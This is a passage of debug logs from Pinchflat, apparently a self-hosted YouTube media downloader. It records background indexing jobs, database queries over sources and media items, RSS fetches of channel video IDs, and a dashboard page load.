duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 01:10:44.955 [debug] QUERY OK source="tasks" db=0.0ms idle=262.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [491, 1, ~U[2026-07-24 01:10:44Z], ~U[2026-07-24 01:10:44Z]] 01:10:44.955 [info] {"args":{"id":1},"id":488,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":599118,"event":"job:stop","queue_time":446915,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 01:10:55.127 [info] {"source":"oban","duration":478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:11:00.802 [info] {"source":"oban","duration":197,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:11:25.128 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:11:55.130 [info] {"source":"oban","duration":465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:12:00.803 [info] {"source":"oban","duration":242,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:12:25.131 [info] {"source":"oban","duration":550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:12:55.132 [info] {"source":"oban","duration":452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:13:00.804 [info] {"source":"oban","duration":246,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:13:25.133 [info] {"source":"oban","duration":478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:13:55.134 [info] {"source":"oban","duration":490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:14:00.805 [info] {"source":"oban","duration":250,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:14:25.135 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:14:55.137 [info] {"source":"oban","duration":477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:14:59.628 [info] {"args":{"id":3},"id":489,"meta":{},"system_time":1784855699628126071,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 01:14:59.628 [debug] QUERY OK source="sources" db=0.1ms idle=569.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 01:14:59.628 [debug] QUERY OK source="settings" db=0.0ms idle=569.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:14:59.628 [debug] QUERY OK source="media_profiles" db=0.1ms idle=569.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 01:14:59.628 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:14:59.628 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 01:14:59.752 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 01:14:59.752 [debug] QUERY OK source="media_items" db=0.4ms idle=124.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 01:14:59.756 [debug] QUERY OK source="media_items" db=3.0ms idle=124.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 01:14:59.757 [debug] QUERY OK source="tasks" db=0.0ms idle=128.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [492, 3, ~U[2026-07-24 01:14:59Z], ~U[2026-07-24 01:14:59Z]] 01:14:59.757 [info] {"args":{"id":3},"id":489,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":129040,"event":"job:stop","queue_time":987441,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 01:15:00.806 [info] {"source":"oban","duration":254,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:15:25.138 [info] {"source":"oban","duration":484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:15:55.139 [info] {"source":"oban","duration":447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:16:00.806 [info] {"source":"oban","duration":129,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:16:25.140 [info] {"source":"oban","duration":526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:16:55.141 [info] {"source":"oban","duration":526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:17:00.807 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:17:25.142 [info] {"source":"oban","duration":463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:17:55.143 [info] {"source":"oban","duration":540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:18:00.808 [info] {"source":"oban","duration":143,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:18:25.144 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:18:55.145 [info] {"source":"oban","duration":477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:19:00.810 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:19:25.146 [info] {"source":"oban","duration":711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:19:55.147 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:20:00.811 [info] {"source":"oban","duration":300,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:20:25.148 [info] {"source":"oban","duration":515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:20:45.015 [info] {"args":{"id":2},"id":490,"meta":{},"system_time":1784856045015070750,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 01:20:45.015 [info] {"args":{"id":1},"id":491,"meta":{},"system_time":1784856045015108673,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 01:20:45.015 [debug] QUERY OK source="sources" db=0.0ms idle=1956.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 01:20:45.015 [debug] QUERY OK source="sources" db=0.0ms idle=1956.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 01:20:45.015 [debug] QUERY OK source="settings" db=0.0ms idle=1007.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:20:45.015 [debug] QUERY OK source="settings" db=0.1ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:20:45.015 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 01:20:45.015 [debug] QUERY OK source="settings" db=0.0ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:20:45.015 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 01:20:45.015 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 01:20:45.015 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:20:45.015 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 01:20:45.139 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 01:20:45.139 [debug] QUERY OK source="media_items" db=0.1ms idle=123.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 01:20:45.140 [debug] QUERY OK source="media_items" db=0.2ms idle=124.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 01:20:45.140 [debug] QUERY OK source="tasks" db=0.0ms idle=124.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [493, 2, ~U[2026-07-24 01:20:45Z], ~U[2026-07-24 01:20:45Z]] 01:20:45.141 [info] {"args":{"id":2},"id":490,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":125876,"event":"job:stop","queue_time":328917,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 01:20:45.310 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 01:20:45.310 [debug] QUERY OK source="media_items" db=0.2ms idle=169.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 01:20:45.313 [debug] QUERY OK source="media_items" db=2.2ms idle=170.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 01:20:45.313 [debug] QUERY OK source="tasks" db=0.0ms idle=166.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [494, 1, ~U[2026-07-24 01:20:45Z], ~U[2026-07-24 01:20:45Z]] 01:20:45.313 [info] {"args":{"id":1},"id":491,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":298710,"event":"job:stop","queue_time":59574,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 01:20:55.149 [info] {"source":"oban","duration":424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:21:00.812 [info] {"source":"oban","duration":242,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:21:25.150 [info] {"source":"oban","duration":542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:21:55.151 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:22:00.813 [info] {"source":"oban","duration":286,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:22:25.152 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:22:55.153 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:22:55.763 [info] GET / 01:22:55.763 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 01:22:55.763 [debug] QUERY OK source="settings" db=0.1ms idle=704.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:22:55.763 [debug] QUERY OK source="media_profiles" db=0.0ms idle=704.9ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 01:22:55.764 [debug] QUERY OK source="sources" db=0.0ms idle=705.1ms SELECT count(s0."id") FROM "sources" AS s0 [] 01:22:55.767 [debug] QUERY OK source="media_items" db=3.0ms idle=619.4ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 01:22:55.767 [debug] QUERY OK source="media_items" db=0.3ms idle=613.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 01:22:55.767 [debug] QUERY OK source="settings" db=0.0ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:22:55.768 [debug] QUERY OK source="settings" db=0.0ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:22:55.768 [debug] QUERY OK source="settings" db=0.1ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:22:55.769 [debug] QUERY OK source="media_items" db=0.5ms idle=1.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 01:22:55.772 [debug] QUERY OK source="media_items" db=2.7ms idle=1.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 01:22:55.772 [debug] QUERY OK source="sources" db=0.1ms idle=4.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 01:22:55.777 [debug] QUERY OK source="media_items" db=3.7ms idle=5.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND 